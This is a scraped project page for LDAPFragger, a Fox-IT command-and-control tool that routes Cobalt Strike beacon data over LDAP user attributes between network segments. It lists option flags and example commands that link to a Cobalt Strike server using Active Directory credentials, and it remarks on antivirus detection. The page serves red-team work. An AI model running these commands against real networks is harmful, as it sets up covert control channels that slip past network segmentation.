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2 years ago
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LDAPFragger is a Command and Control tool that enables attackers to route Cobalt Strike beacon data over LDAP using user attributes.
For background information, read the release blog: http://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes
Dependencies and installation
Compiled with .NET 4.0, but may work with older and newer .NET frameworks as wellUsage
Active Directory domain --ldaps: Use LDAPS instead of LDAP -v: Verbose output -h: Display this message If no AD credentials are provided, integrated AD authentication will be used.">
_ _ __ | | | | / _| | | __| | __ _ _ __ | |_ _ __ __ _ __ _ __ _ ___ _ __ | |/ _` |/ _` | '_ \| _| '__/ _` |/ _` |/ _` |/ _ \ '__| | | (_| | (_| | |_) | | | | | (_| | (_| | (_| | __/ | |_|\__,_|\__,_| .__/|_| |_| \__,_|\__, |\__, |\___|_| | | __/ | __/ | |_| |___/ |___/ Fox-IT - Rindert Kramer Usage: --cshost: IP address or hostname of the Cobalt Strike instance --csport: Port of the external C2 interface on the Cobalt Strike server -u: Username to connect to Active Directory -p: Password to connect to Active Directory -d: FQDN of the Active Directory domain --ldaps: Use LDAPS instead of LDAP -v: Verbose output -h: Display this message If no AD credentials are provided, integrated AD authentication will be used.Example usage:
From network segment A, run
LDAPFragger --cshost <Cobalt Strike IP> --csport <External listener port> LDAPFragger --cshost <Cobalt Strike IP> --csport <External listener port> -u <username> -p <password> -d <domain FQDN>
From network segment B, run
LDAPFragger LDAPFragger -u <username> -p <password> -d <domain FQDN>
LDAPS can be used with the --LDAPS flag, however, regular LDAP traffic is encrypted as well. Please do note that the default Cobalt Strike payload will get caught by most AVs.
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